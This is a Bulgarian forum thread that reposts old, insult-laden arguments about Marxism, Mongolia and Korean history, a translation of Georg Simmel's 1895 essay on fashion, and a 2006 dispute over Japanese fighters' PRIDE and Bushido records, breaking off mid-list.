Нелогизмите са при тебе, детенце, не при мене. И не си внушавай, че говориш с факти. За Северна Корея каза, примерно, че имали съветски пилоти, а се оказа, че били кораби... какви кораби с пилоти?! Маркс имаше фабрики, а се оказа, че не можеш да намериш такива биографични данни и загуби 1000 лева. ЦРУ нямаше сайт и данни, и преписваше от "Раб. дело", диалектиката беше само "черно+бяло",... Ами колкото повече пишеш, толкова по-големи пропуски и глупости показваш на хората. Никой уважаващ себе си човек не би те приемал насериозно. Даже привържениците на антикомунизма се срамуват от тебе.
Знам какво е СОЦИУМ, а ти знаеш ли за какво ти говоря, когато казах, че е "изгнило"?
След като си проверил в някой речник какво е СОЦИУМ сега скокна на друга темичка, а? Ами хайде кажи да видим! Диде бакалъм! (Питай турчинът какво е това).
!!!!!!!"5.Северът в правото си напада юга."!!!!!!!
Всичко до тая идиотска точка за приликите между България и Румелия с Корейте беше иди-дойд вярно. Но тая идиочтина тук направо ти насра твърдението:))))))
Насраното, Ванго е само твоето незнание. Колкото знаеше, че корабите не са пилоти, толкова знаеш и за основанията на обединението на СЕВЕРА И ЮГА при:
а/ САЩ
б/ Корея /все още неосъществено/
в/ Виетнам
г/ България
Войни между Севера и Юга - в САЩ, Виетнам... все с насилие е ставало. Затова и казвам, че най-добре е безкръвният германски модел на обединение.
Като ще пишеш за комунизъм, пиши, но не пиши за история, тук си абсолютен дебил! Говоря сериозно, защото те уважавам.
Ванго и аз много те уважавам, но не може един абсолютен имбецил да ме нарича "дебил", при положение, че не бъркам нещата както теб. Да припомним ли базовите ти грешки отново? ЦРУ, Либия, Диалектика, Фабрики, Пилоти, "Политика - поли", нозология, БВП, фатализъм...
Политиката определя психологическото състояние на масите...
САМО И ОСНОВНО ИЛИ ОТЧАСТИ, Ванго?
И за Марксовият фатализъм - ти го преповтаряш в цели 2 пункта! Само, че си сменил боичките. Докато на него му се привиждаше неизбежен и съдбовен комунизъм, на тебе ти се привижда неизбежен и съдбовен капитализъм. Използваш и неговите думи за "историческа необходимост"... Просто си взел грешките на марксизма, а не добрите страни! Ама то понеже толкова си можеш!...
_________________
И сега по една от най-големите ти изцепки (ако на мене ми се случи нещо такова бих се засрамил завинаги и не бих стъпил повече тук, но при тебе манталитетът е друг и предполагам няма да ти прави впечатление).
Отделно трябваше да има преход само феодализъм-капитализъм-социализъм, но МОНГОЛИЯ прескочи един етап" ............Я ГО ПОВТОРИ???????????????Я МИ КАЖИ КАК СЕ ПРЕСКАЧАТ ЕТАПИ В ИСТОРИЧЕСКОТО РАЗВИТИЕ? Я МИ КАЖИ, КАК МОЖЕМ ДА ПРЕЕБЕМ ЕВОЛЮЦИЯТА, ОБЕЩАВАМ, ЧЕ НЯМА ДА КАЖА НА НИКOЙ!:))))) ЛЕЛЕ, КОЛКО СИ ОБСЕБЕН ОТ ПРОСТОТИИ!........"и сега пък е него! За историческа необходимост говорят само фаталистите, мой! Класическият Марксизъм си има дупки и ти си попаднал точно в най-голямата!"
МАРКСИЗМА СИ Е ЕДНА ГОЛЯМА ДУПКА, МОЙ ЧОВЕК:))
1. Tрябва да си наясно, че в дупка си ти.
2. ЕВОЛЮЦИЯ? ПРЕСКАЧАНЕ НА ЕТАПИ В ИСТОРИЧЕСКОТО РАЗВИТИЕ?
Даже и най-малоумните хора знаят, че МОНГОЛИЯ МИНА ОТ ФЕОДАЛИЗЪМ КЪМ СОЦИАЛИЗЪМ!!! А ти не си го учил и се хилиш като абсолютен имбецил и то на мен, който съм запознат с нещата 100 пъти по-добре от тебе. Ами прочети малко, бе, детенце, не разтягай само малките си устнички в наивна усмивка, която после замръзва след всеки изнесен от мен елементарен факт:
Ето ти Монголия как е прескочила етапа:
БГ История - история, форум, галерия, онлайн чатИ понеже Ивайло не стана един модерен Чойбалсан, който да поведе Монголия... пардон България от феодализъм направо в социализъм, прескачайки цял един строй в драстично противоречие с марксистката теория, значи е неуспешно и делото му. ...
bg-history.info/ modules.php?name=Forums&file=viewtopic&p=820 - 119k - 网页快照 - 类似网页
С други думи всеки си служи с този простичък пример и всеки знае, че ПРЕДИ В МОНГОЛИЯ НЕ Е ИМАЛО КАПИТАЛИЗЪМ, но само Ванго не знае, понеже Ванго си служи с класическия марксов фатализъм! Мдааа....
Сега видя ли кой е обсебеният от простотии, Ванго?
Хем вярваш в някаква си предопределена еволюция, хем не знаеш, че Монголия преди социализма не е имала капитализъм, а само феодализъм!
Хайде сега почвай да се ядосваш и гледай да не ти стане лошо:
[image]http://veselba.kafence.com/pix/computerni/Ludnicata.gif[/image]
___________________
За "когато му дойде времето" - това пак е част от фатализма ти, ама с месианска окраска нали? То сигурно просто цитираш Царя, де, ама си е такъв.
И мога ли да знам, дали на всеки, който се бунтува му "идва времето" или не?
________
За психологическото обяснение на падането на СССР получваш бурни аплодисменти за абсолютното си опростенчество! Интересно как ли се връзва това със фаалистическия ти икономизъм? Нали всичко беше икономическо, а не субектен фактор, сега пък се намеси масовата психология... Брей. Ти сам не знаеш какво пишеш вече, нали, Ванго?
_______
"Именно! Каквото решат отгоре! Какво си говорихме за агресията на комунистите, породена от сляпата им идеологическа гледна точка, че всеки, който не е с тях е против тях?"
АМА НЕ СЕ ОТКЛОНЯВАЙ! ГОВОРИМ ЗА ТОВА, ЧЕ ВЛАСТТА БЕШЕ СИЛНА И НЕ МОЖЕШЕ НАРОДЪТ ДА Я СВАЛЯ! ЗА ГЛЕДНИТЕ ТОЧКИ - МОЖЕ ДА СИ ПОГОВОРИМ ЗА НЕКОМУНИСТИЧЕСКИТЕ ДИКТАТУРИ И ПАК ЩЕ ЗАГУБИШ, НО ТУК СТАВА ДУМА ЗА ТОВА, ЧЕ ГОРБАЧОВ ПРЕДАДЕ СИСТЕМАТА. ТОВА Е!
"-Можем да свалим властта, бате Гошко."
С АПРИЛСКО ВЪСТАНИЕ ЛИ?
"Май нищо не разбираш от история, щом ми твърдиш това, а и в предният ти постинг ми сравняваше Източна Румелия и Княжество България с Корейските проблеми...."
Да , даже не бъркам кораби с пилоти. А, пак ти казвам, ако съм на твое място след толкова много елементарни грешки да съм се засрамил и да съм напуснал.
"В историческо отношение си ПЪЛЕН ИНВАЛИД!!! 100000000000000000000000000%!
"
Много добре си го казал... за себе си, де!
Поздрави!
И ето ти един от тези, които изкараха Монголия от феодализъм направо в социализъм:
(http://www.ezhe.ru/vgik/photo/ua-shtern-chojbalsan-gukov.jpg)
Продължаваш с тоталното си излагане. Предполагам, че разбиращите се заливат от смях като четат следните редове:
"-Пак говориш глупости! ПОЛИ и ПОЛИС на гръцки е едно и също, лингвисте мой, само че второто е в множесвено число."
Да, прави си, ПОЛИ значи МНОГО. ПОЛИСЪТ е съвкупност от организирани функции и системи за управление на обществото, което го съставлява. От там иде думата ПОЛИТИКА - съвкупност от всички тези функции и системи и думата ПОЛИТОЛОГИЯ - наука за всичките тези съвкупсности. Малко си чел, бате Гошко. Друг път не се изказвай неподготвен, че се изложи достатъчно в тая тема.
"
1. Ти нали каза, че политиката е била за всичко, затова била "ПОЛИ". Ако си имал предвид "ГРАД", що за асоциация я това на "ГРАД" с "всичко"???
2. На гръцки "ПОЛИ" било ед. ч. на "ПОЛИС" и т.н. И КАК ТОВА Е "ВСИЧКО"?
Ограничените ти разбрания не са причина да ги екстраполираш върху всички.
Видя ли сега кой се е изкал неподготвен? Вангото. (То си е и очаква).
Интересни спомени. ;D
-
Имаше някои неща писани за Зимел тук. Ето и нещо от него (от 1895 ;D )
ГЕОРГ ЗИМЕЛ
Към психология на модата.
Социологическа студия (1895)
Психологическата основа на нашата същност, която ни насочва към смяната на покой и динамика, на възприемчивост и активност, съдържа и типологичните характеристики на нашето духовно движение. Ако нашето познание се насочва както от стремежа към максимална генерализация и абстракция, така и от потребността да се опише единичното и най-специфичното; ако нашият емоционален живот търси удовлетворение ту в спокойното отдаване на хора и неща, ту в енергичното действие по отношение на тях; ако нашата нравствена същност намира в социализиращото сливане с нашата група и в индивидуалното отличаване от нея своите полюси, границите на своите вибрации – то всичко това са единични проявления на големите противоположни сили, в чиято битка и примирие се състои съдбата ни. Тези извори и последни същностни ориентири на всичко човешко не могат да бъдат обозначени с думи; те могат да бъдат разпознати само по онези единични явления, които произвеждат при насочването на отделните съдържания на живота, в които се осъществяват, и като еднакви сили да бъдат откъснати от различните си сфери на действие – независимо дали се въплъщават, както преди хилядолетия, в противоположността между елеите и Хераклит или както в момента – в противоположността между социализъм и индивидуализъм. Същностните жизнени форми в историята на нашия род изцяло показват ефикасността на тези антагонистични принципи; всеки представлява особен вид в своята сфера на действие – да се обедини интересът към траенето и постоянството с този към промяната и смяната; да се примири тенденцията към общото и еднородното с тази към особеното и уникалното; да се намери компромис между отдаването на социалното цяло и налагането на индивидуалността.
В социалните проявления на тези противоположности единият им полюс обикновено се основава на психологическата тенденция към подражание. Подражанието ни привлича на първо място с целесъобразното доказване на сила, което обаче не изисква значително лично креативнo усилие, а в резултат от предпоставеността на съдържанието протича лесно и гладко. Същевременно то ни осигурява успокоението, че не сме сами в това действие; то се издига върху досегашните упражнявания на същата дейност като върху здрав фундамент, който спестява на актуалното действие трудността само да си изгражда фундамент. В подражанието отделният индивид се опира на групата, която му предава формите на неговото поведение и по този начин го освобождава от мъчението на избора и индивидуалната отговорност за него. Подражанието обаче отговаря само на една от основните посоки на нашата същност, само на онази, която намира удовлетворение в симетричността, еднаквостта, претопяването на единичното в общото, която подчертава постоянстващото в промяната. Но не на онази, която – обратното – търси промяната в непроменливото, индивидуалното различие, уникалността, търсенето на отличителност от общото. Ако разгледаме тези две антагонистични тенденции от гледна точка на техните основни биологични форми, то подражанието може да се обозначи като едно психологическо предаване по наследство, докато стремежът да се излезе извън нея и да се достигне до нови и уникални жизнени форми отговаря на променливостта на видовете.
За модата е съществено следното. От една страна тя удовлетворява потребността от социална опора, доколкото е подражание; тя води отделния индивид по пътя, по който вървят всички. От друга обаче, тя удовлетворява също потребността от различие, тенденцията към диференциация, смяна, дистинкция, при това както посредством смяната на нейните съдържания, която придава на актуалната мода индивидуален облик по отношение на вчерашната и утрешната, както и посредством обстоятелството, че модите са винаги класови моди, че модите на по-висшия слой се различават от тези на по-нисшите слоеве и биват изоставяни в мига, в който последните започнат да ги следват. Модата е една от онези жизнени форми, посредством които се търси компромис между тенденцията към социално изравняване и тази към индивидуална дистинкция. В тази фундаментална същност на модата се вписват отделните психологически характеристики, които наблюдаваме при нея.
В социологическа перспектива тя е, както беше споменато, продукт на класовото разделение. Също както честта първоначално е съсловна чест, т.е. черпи характера си и преди всичкo моралните си оправдания от това, че в своята чест отделният индивид представлява и съхранява честта на своя социален кръг, на своето съсловие, така и модата означава от една страна приобщаване към онези, които са в сходна социална позиция, от друга – затварянето им като група по отношение на поставените в по-ниска социална позиция. Обществените форми, облеклото, естетическите оценки, целият стил, чрез който се изразява човек, са схванати като постоянно трансформиращи се посредством модата, но все пак така, че “модата”, т.е. новата мода се полага само на горните съсловия. По този начин те се затварят по отношение на по-ниско стоящите; те маркират така равенството помежду си и същевременно различието по отношение на по-ниско стоящите. В момента, в който последните започнат да следват модата, защото винаги гледат и се стремят нагоре и в най-голяма степен могат да го постигнат в областите, подчинени на модата, горните съсловия се отказват от тази мода и се ориентират към някоя нова, чрез която отново се диференцират по отношение на широките маси. Този момент на дистанциране, който заедно с момента на подражание формира същността на модата, се проявява при липса на йерархично подредени слоеве, дори на хоризонтално подредени. За някои примитивни народи се съобщава, че живеещи в тясно съседство и при абсолютно еднакви условия групи формират понякога рязко различаващи се моди, чрез които всяка група маркира обединяването на своите членове и различието по отношение на непринадлежащите към нея. Този момент на вътрешното обединяване се осветлява по особен начин от обстоятелството, че модата често идва отвън. Тя често се цени в рамките на даден кръг със специални предпочитания като “мода”, ако не е възникнала в самия него. В резултат от това, че модата идва отвън, тя произвежда особена социализация. Нейната особеност се състои в това, че тя се постига посредством общото отношение към една лежаща извън групата точка. Понякога изглежда така, сякаш социалните елементи, конвергират най-добре в една не много близка точка. И за да може модата и в този аспект да прояви успоредно с центростремителните, социализиращи успехи вариативност, задоволяване на стремежа към промяна, то трябва да кажем, че произходът на модата отвън гарантира нейната новост, т.е. разликата по отношение на досегашното състояние, рязко открояващата смяна, която често се движи между противоположности, защото едва те правят възможно тя да бъде осъзната. Едната от противоположните тенденции на нашата същност, които всеки аспект на модата се опитва да обедини по особен начин, намира удовлетворение в социалната форма на модата, другата – в нейното съдържание. Там, където един от двата момента отсъства – или потребността и възможността за дистинкция или потребността и желанието за обединяване, там свършва царството на модата. Затова нисшите съсловия имат много малко и рядко специфични моди, които като такива биха били обект на желания и стремежи, затова модите на примитивните народи са много по-устойчиви от нашите; по противоположните причини в кръг, в който всеки индивид иска да бъде нещо уникално и неповторимо и подражанието се смята за нещо ужасно, не се стига до никаква мода. Във Флоренция около 1390 година не е имало доминираща мода в мъжкото облекло поради това, че всеки се е опитвал да се облича по неповторим начин. Същността на модата се състои в това, че тя винаги се практикува само от една част от групата, а по-голямата част се стреми към нея. Тя никога не е в покой, а винаги е в процес на ставане. В момента, в който тя е проникнала тотално, т.е. в момента в който онова, което първоначално правят само някои, започне наистина да се упражнява от всички без изключение, тя вече не се обозначава като мода, примерно някои елементи на облеклото, някои форми на общуване. От това обстоятелство, а именно, че модата като такава не може да бъде всеобщо разпространена, за отделния индивид извира удовлетворението, че практикувана от него тя е нещо особено, дистинктивно, докато на практика той е воден от стремящата се към едно и също съвкупност, а не както в други случаи на социално удовлетворение – от правещата едно и също съвкупност. Затова нагласата, на която се натъква модното, е една благотворно действаща смесица от одобрение и завист.
Така модата е същинският притегателен център за индивиди, които вътрешно и съдържателно са несамостоятелни, нуждаещи се от опора, чието самочувствие обаче се нуждае от отличителност и внимание. Тя издига и най-незначимия индивид, превръщайки го в представител на една съвкупност, той се чувства представител на духа на една голяма съвкупност. При модния франт и контето всичко това е преувеличено до такава степен, че то започва да изглежда като нещо особено, индивидуализирано. Контето преувеличава модната тенденция отвъд иначе удържаната мяра: когато са на мода остри обувки, неговите завършват като нос на кораб; когато са на мода високи яки, неговите са високи до ушите; когато е модно в неделя да се ходи на църква, той стои там от сутрин до вечер и т.н. Това, което той представя като индивидуално, се състои в количествено преувеличаване на елементите, които иначе в различна степен са общо достояние на масата. Той само привидно предшества другите, защото на практика върви по техния път. Той привидно марширува начело на тълпата, тъй като това, което той представлява, са именно последните върхове на обществения вкус; на практика обаче за модния франт важи това, което може да се наблюдава навсякъде в отношението на отделния индивид към неговата социална група: че този, който води групата по същество е воден от нея. В този смисъл модният франт представлява едно действително оригинално състояние на равновесие между социалния и индивидуализиращия инстинкт и атрактивността на това състояние може да ни обясни странното от външна гледна точка подчиняване на модата на някои иначе разумни и дори значими хора.
В примитивните, но и в по-високо развитите отношения една мода често възниква в резултат от това, че една изтъкната в някакво отношение личност изобретява нов модус на обличане, на поведение, на интереси и т.н., който я отличава от другите; те на свой ред започват възможно най-бързо да подражават на появилата се по този начин дистинкция заради значимостта на този, който я е създал. Удовлетворението на първия се подхранва явно от смесването на индивидуалното усещане, че притежава нещо специфично, и социалното усещане, че всички се опитват да му подражават, като по този начин намира опора в техния дух. Въпреки че двете усещания изглежда да си противоречат логически, психологически те са напълно съвместими и дори се подсилват взаимно. Всеки подражател участва – в по-слаба степен, разбира се – в тази констелация на усещанията, докато модата бъде напълно масовизирана, така че индивидуалният момент да отпадне. Същата комбинация на двете тенденции, която се постига посредством крайно подчиняване на модата, може да се постигне и чрез опозицията срещу нея. Който се облича или държи съзнателно немодерно, постига всъщност свързаното с това усещане за индивидуализация не чрез индивидуалните си качества, а чрез елементарното отрицание на социалния пример: ако модерността (в поведението и облеклото) е подражание на последния, то преднамерената немодерност е подражание с обратен знак, което обаче е не по-малко свидетелство за властта на социалната тенденция, която ни прави зависими от себе си все едно по какъв начин – позитивен или негативен. Нещо повече: в цели кръгове в рамките на едно по-голямо общество може да стане модерно немодерното поведение и облекло. Това представлява едно от най-странните социологически усложнения, при които стремежът към индивидуална отличителност, както казахме, се задоволява на първо време с елементарно преобръщане на социалното подражание, след това на свой ред черпи силата си от това, че се опира на един по-тесен кръг от индивиди с еднакви характеристики: в социологическа перспектива това е аналогично на Сдружението на противниците на сдруженията.
Социологическата значимост на модата, която в еднаква степен дава израз на стремежа към изравняване и на този към индивидуализация, на притегателната сила на подражанието и на тази на дистинкцията, може да обясни обстоятелството, че като цяло жените са особено силно зависими от модата. Колкото и да се придържаме към правилото, че научната сдържаност изисква да се избягват всички оценки за жените в множествено число, то поне като общо мнение може да се приведе твърдението, че тяхната психологическа същност, доколкото се различава от мъжката, се състои в недостиг на диференцираност, в по-голямо равенство помежду им, по-силна ориентация към средното ниво в социално отношение, с което се обяснява по-тясната им обвързаност с традицията, с общовалидната форма, с това, което “е редно”. Но на устойчивата почва на традицията, на средното, на общото ниво те се стремят към относителна индивидуализация и отличителност на собствената си личност, които са приемливи в съответните социални граници. Модата им предлага тази комбинация: от една страна тя е сферата на всеобщото подражание, плуване в общия социален поток, от друга обаче е област на дистинкцията, на подчертаването, на индивидуалната отличителност на личността.
И дори и там, където се пресича с най-неуловимите психически движения, тя запазва типичното равновесие между противоположните тенденции: за нея е от същностно значение да мери всички индивидуалности с една мярка, без обаче да обхваща целия човек; заради своята променливост, която има за мащаб именно постоянството на себеусещането, тя остава за индивида винаги нещо относително външно, по отношение на което той преживява личността си като pièce de résistance* или поне може да преживее в случай на нужда. Става дума само за усилване на този нюанс, когато изтънчени и уникални хора използват модата като маска, като осъзнат и търсен резерв на най-съкровените им усещания и вкус, до който те стигат посредством сляпото подчинение на общите норми по отношение на всичко външно; това, което кара някои фини натури да потърсят прикритие в модата, която има способността да нивелира, е една изтънчена стеснителност да издадат може би спецификата на най-интимната си същност чрез особеностите на външното си поведение. Така онзи удовлетворен дуализъм на егализиращо обединяване и индивидуализираща дистинкция се пренася във вътрешните отношения на индивидуалната душа – съобразно онзи своеобразен паралелизъм, при който често отношенията на индивидите помежду им се повтарят в отношенията между представите на отделния индивид. Повече или по-малко преднамерено индивидът често създава за самия себе си стил на поведение, който се характеризира като мода посредством ритъма на появата си, утвърждаването си и изхабяването си. Особено млади хора проявяват често внезапна странност в начина си на поведение, един неочакван, обективно неоснователно появил се интерес, който завладява цялото им съзнание и също толкова ирационално отново изчезва. Това може да се обозначи като лична мода, която представлява граничен случай на социалната мода. Тя се основава на индивидуалната потребност от дистинкция и замества потребността от подражание с концентрирането на собственото съзнание по-скоро върху единното обагряне, което собствената същност придобива по този начин и което може би означава една още по-тясна затвореност, по-дълбока опора на този отделен индивид върху цялостните съдържания на Аза, а не толкова върху това личният стил да се превърне същевременно и в мода за други.
Тъй като в модата, така да се каже, различните измерения на живота съвпадат по уникален начин, цялостният ритъм, с който групите и индивидите се движат, има детерминиращо влияние върху отношението им към модата. Ние забелязваме, че консерватизмът и променливостта се разпределят по абсолютно неравномерен начин измежду различните слоеве на една политическа група. От една страна нисшите слоеве са по-трудно подвижни и по-бавно развиващи се. Те възстановяват – както много ясно се вижда например в Англия във връзка с датското и норманското завоевание – континюитета на народния живот, защото упорито се придържат към своите примитивни форми на живот, докато горните слоеве са най-силно засегнати и модифицирани от новите влияния, подобно върха на дърво – от движенията на въздуха. От друга страна, както е известно, именно най-висшите съсловия са най-консервативните, много често дори архаични и напреднали само в най-тромавите ритми. Мястото на действителната динамика и променливост е средното съсловие, затова историята на социалните и културните движения влиза в съвсем нов ритъм, откакто tiers état* поема ролята на водач. Това ни дава възможност да разберем, как така модата – динамичната и противоположна форма на живота, за чиито съдържания момента на постигнатия максимум е същевременно момента на нейното слизане от сцената – от този момент нататък, а именно откакто доминира буржоазията, се простира върху толкова много области, прозвучава в толкова бързи и разнообразни ритми и придобива все по-голяма значимост. Неспокойни, търсещи промяната класи и индивиди преоткриват в модата темпото на собствените си психични движения: тя прави много остър завой в съзнанието. Именно в това, че насочва вниманието много силно върху себе си, че означава моментно заостряне на социалното съзнание върху определена точка, се съдържа зародиша на нейната смърт, нейната предопределеност да бъде сменена. Каквото и да било нещо друго – в същата степен ново и внезапно разпространено в теорията или практиката – не би означавало никога “мода” за онзи, който вярва в неговото трайно съществуване и в истината за него; и само този ще го обозначи по този начин, който е убеден в неговото бързо изчезване по същия начин, както е бил убеден в неговата поява.
В противоположност на това обаче се създава странното впечатление, че всяка единична мода излиза на сцената по такъв начин, сякаш ще живее вечно. Който днес си купува мебели, които имат трайност четвърт век, ги купува според най-новата мода и изобщо не взема под внимание, тази която е била приета преди две години. И все пак след няколко години очарованието на модата очевидно е напуснала старите, както и новите и ги оставя на други критерии за оценка. Изглежда тук протича един диалектико-психологически процес: че наистина винаги има само една мода, че модата като общо понятие е безсмъртна, което се отнася и за всяко нейно отделно проявление, въпреки че същността на всяка отделна мода е да не бъде непреходна. Фактът, че смяната трае, придава на всеки от предметите, който подлежи на смяна, психологическия отблясък на нещо трайно.
Но своеобразно пикантният, вълнуващ чар на модата се състои в контраста между нейното широко, всеобхватно разпространяване и нейната бърза и принципна преходност, на която от друга страна противостои също онази привидна претенция за трайна валидност. Той се състои не по-малко в силата, с която модата затваря определен кръг и показва неговата сплотеност както като причина, така и като следствие, а също и в решителността, с която го разграничава по отношение на други кръгове. И накрая, той се състои в опората, която даден социален кръг дава на индивида, като налага на членовете си взаимно подражание и по този начин освобождава всеки отделен член от всяка отговорност – както етическа, така и естетическа, както и във възможността в рамките на тези граници да се произвежда индивидуално подсилване и оригинално нюансиране на елементите на модата. Така модата се оказва само едно отделно, специфично образувание измежду онези най-разнообразни образувания, в които социалната целесъобразност е обективирала в еднаква степен противоположните течения на живота.
_____
* къс устойчивост (фр.) – бел. пр.
* третото съсловие (фр.) – бел. пр.
-
И пак от 2006 за бойни изкуства и прочее.
Е, доколкото виждам си се изнервил окончателно. Иначе да ти кажа, първо, че палячовците не правят акробатични номера, това са акробатите. Но, ти ще питаш тейко си, той е навътре в тези занаяти, аз да не се занимавам с подробности от елементарния ти запас на обидни думички, а да наблегна на нещата, които се опитваш да изкривиш.
Ето отначало какво каза:
А ако искаш да разбереш НАИСТИНА колко са зле, изкарай статистика от последните 5 години.
Т.е. заложи на тезата, че е важно какво става напоследък. Ето защо БЕШЕ КРАЙНО НЕКОРЕКТНО ДА СИ ПОДБИРАШ ТУРНИРИ ОТ ДАЛЧЕНАТА 2002-ра И ДА СПРЕШ ТОЧНО, КЪДЕТО ТИ ИЗНАСЯ!
Е, няма да си играя повече с тебе и ще ти покажа РЕАЛНАТА СТАТИСТИКА!
BEST WIN RATIO:
25 участника /59 победи/
6 японеца / 17 победи/
На ниво участници 6 от 25 са 24%
На ниво победи, пък, 17 от 59 са 29%
Да ти прилича на 10% (или на предвидливо, но некомпетентно завишените от тебе 15%)? 24% до 29%, мойто дете!:)
И какво искаше да ги сравним с кои? С бразилците и руснаците? Щото са най-добрите, а? И очакваш да спечелиш нещо в загубената си по всякакви показатели тезичка (тя не е и твоя, де, ама ти, за да се подмазваш на Ончето-Бонбончето я хвана и сега му береш неговия срам). ГОТОВО! НЯМАШ НИКАКВИ ПРОБЛЕМИ!
25 участника /59 победи/
1 руснак /13 победи/
На ниво участници 1 от 25 е 4%
На ниво победи, пък, 13 от 59 са 22%
25 участника/59 победи/
4 бразилци/12 победи/
На ниво участници 4 от 25 са 16%
На ниво победи, пък, 12 от 59 са 20%
ИЗВОДИ:
Участници 24% (японци) / 4% (руснаци) / 16% (бразилци)
Победи 29% (японци) / 22% (руснаци) / 20 % (бразилци)
ЯПОНЦИТЕ ВОДЯТ ПО ВСЕКИ ПОКАЗАТЕЛ СРЕЩУ ОСТАНАЛИТЕ НАЦИИ - даже руснаци и бразилци, които ти избра, като уж най-добрите.
Е, ТРЯБВА ЛИ ЯПОНЦИТЕ ДА СЕ ОТКАЖАТ ДА ПУСКАТ ЯПОНЦИ НА ПРАЙДА, батковото?
За абсолютните величини не ти изнасяло? Ами защо не можа да ми опровергаеш примерите:
Екваториална Гвинея - САЩ (Или Норвегия)
И
Ботсвана - България?
Сега какво ще кажеш? Че АБСОЛЮТНАТА ДОМИНАЦИЯ НА ЯПОНЦИТЕ не е показателна ли?
Предложи нещо друго, ако искаш (макар, че това само ще удължи агонията ви), за да видиш, че пак японците ще са ИЛИ НАЙ-ДОБРИТЕ или СРЕД ПЪРВИТЕ НАЙ-ДОБРИ!
Не съм следил по-сетне, но като цяло съм против дискредитирането, отричането на цяла нация (в случая японската), че нямали читави спортисти. Особено, когато става дума за спортове, където хората традиционно си се справят добре.
В последно време водих подобен дебат с един китаец, който пък твърди, че китайците не били добри в бойните изкуства.
За съдийските решения - пак ли Балкански номера "Съдията ограби труда на момчетата?" Я ДА СЕ СТЕГНЕШ! Бъди смел!
По-сетне видях, че обвиняването на съдиите не е само балкански патент. Потърсвайки резултати за "the referee's fault" може да се видят доста небалкански такива. :) Е, не казвам, че пък и съдиите винаги са прави.
Ето ти кой води по ЗАГУБИ със съдийски решения:
ЯПОНЦИТЕ! ЯПОНЦИТЕ! ЯПОНЦИТЕ!
Полюбувай се и се засрами:
FIGHTER TOTAL
Akira Shoji 11 - японец
Alexander Otsuka 10 - японец
Gary Goodridge 9
Igor Vovchanchyn 8
Gilbert Yvel 7
Daijiro Matsui 7 - японец
Kazushi Sakuraba 7 - японец
Masaaki Satake 6 - японец
Yoshihisa Yamamoto 6 - японец
Nobuhiko Takada 6 - японец
Guy Mezger 6
Kevin Randleman 6
Ikuhisa Minowa 6- японец
Shungo Oyama 5 - японец
Murilo Rua 5
Mark Kerr 5
Kazuhiro Nakamura 5 - японец
Heath Herring 5
Quinton Jackson 5
т.е. те, домакините са най-ощетени и ВЪПРЕКИ ТОВА не са по-назад от останалите! И не съм взел да се оплаквам като вас, нали? ПРИ ЗАПАДНЯЦИТЕ ИМА ДОСТА ПОБЕДИ СЪС СЪДИЙСКИ РЕШЕНИЯ - искаш ли да видиш рекордите на Вовчанин или на Силва?
___________
Сега смятам всички видяха кой кого е "н@ср@л", кой печели подкрепата на форума и пр.
Наздраве!
______________________
Сине на палячо, като си разбрал, че само културата се цени тук, защо не се възползваш и не се отпуснеш в прегръдките на доброто възпитание?
Приятелят ти се плеснал по челото... Ами покажи му твоята, дето изнасяш стари данни и спираш, където ти изнася, за да те плесне тебе!
За тъпотия - не ми говори, понеже тя е твоята приятелка, която те следва като сянка. ;)
Да, учител съм в Детска градина. :) (В доброто старо време, когато в Китай беше по-свободно и не толкова ксенофобско по отношение на преподаването на английски, западните култури и пр. Сега рефеодализацията (вкл. реимператоризацията) си казват думата.)
Срещите са взети от сайта на ПРАЙДА, нещо, което ти не ползваш и затова не знаеш. Предполагам, че се образоваш само от тук: ... НО ТОВА НЕ Е САЙТЪТ НА ПРАЙДА! (Макар, че обяснява някои твои поведенчески моменти).
За неграмотността статистически и математически - ти сам се издъни и продължаваш да се дъниш! (Ама поне знаеш къде да спреш най-подличко, за да не се виждат НОВИТЕ развития на нещата!).
За модераторският контрол - НЕ Е В МОЯ ПОЛЗА, просто се държа по-културно. А и да приемем калпавата ти хипотеза, че е - нали щяха да ме изгонят от тука, а вие да се ширите с вулгаризмите си, що стана обратното? ОТГОВОР - ЗАЩОТО СТЕ НЕОБРАЗОВАНИ И НЕКУЛТУРНИ ХОРА!
Иначе поСЕР е тейко ти, нали знаеш? Винаги на обиди от рода на "Ти си палячо.", "Ти си посер." им казвам, че родителите им са такива, защото не са ги възпитали добре.
За бабите - то беше ваша тема, дето я изтриха, заради подигравка с по-възрастните хора.
In reply to:
--------------------------------------------------------------------------------
П.С. Гледа ли последното Бушидо отпреди 3 дена(съмнявам се, че си), смешник, в почти всички срещи японците гризнаха дръвцето...
--------------------------------------------------------------------------------
Сине, НАЛИ ДАВАШЕ ТУРНИРИТЕ САМО ДО 2002-ра, защо намеси последното Бушидо?
Ами да ивадим малко статистики от БУШИДО, А?
КАКВО МИСЛИШ ЗА ПОСЛЕДНИТЕ 3?
БУШИДО 7:
4 японски победи!!!
БУШИДО 8:
3 японски победи!!!
БУШИДО 9:
6 японски победи!!!
ЗА БУШИДО ИСКАШ ЛИ ДА СИ ГОВОРИМ ОЩЕ?
Примерно, като любител на старите неща от 2002-ра година какво мислиш за БУШИДО 2 :
3 японски победи
или
БУШИДО 3:
5 японски победи?
Сега видя ли кой се е оср@л и кой е изловен по бели гащи? Синчето ми!
________
... се оплакваш, че са те трили пак, бе? ами ще те трият, като не разговаряш нормално и използваш обидни епитети. Вие от този порно-сайт ДАОБГ (става дума за едно време, когато имаше такъв форум за бойни изкуства, където по едно време почнаха да прекаляват със зоофилистични неща, та затова "порно-сайт") така и не се научихте, че :
а/ Позиция се аргументира с данни и логика, а не с обиди.
б/ Колкото и да обиждате това се връща.
Ами Докторът, който има неприличието да стои в такова виртуално място постоянно ви учи на приличие и на аргументираност, но вие не отбиратееее....
__________
За 7-те ПРАЙДА -ЗАЩО СИ СПРЯЛ ДО 2002-ра година, бе?!
НАЛИ СИ ГОВОРЕХМЕ ЗА ЯПОНЦИТЕ НАПОСЛЕДЪК! МНОГО ПРЕДУБЕДЕН АНАЛИЗ.
АМА ИСКАШ ЛИ ДА ИГРАЕМ ПО ТВОИТЕ ПРАВИЛА? ЩЕ ПРЕНЕБРЕГНЕМ ФАКТА, ЧЕ ТОВА СА СТАРИ ТУРНИРИ И ЩЕ ИЗЧИСЛИМ ПРОЦЕНТА НА ЕДИН ОТ ЛЮБИМИТЕ ТИ РУСКИ ОТБОРИ - 2 спечелени срещи!
Ето :
Японците имат 3 спечелене срещи, а руснаците имат 2 спечеление срещи. Е?
А СЕГА МАЛКО СТАТИСТИКА ОТ новите турнири, които не ти изнасят!
ПРАЙД 23 Веднага си личи защо си спрял точно тук!
ЗАЩОТО:
Kazushi
Sakuraba Gilles
Arsene
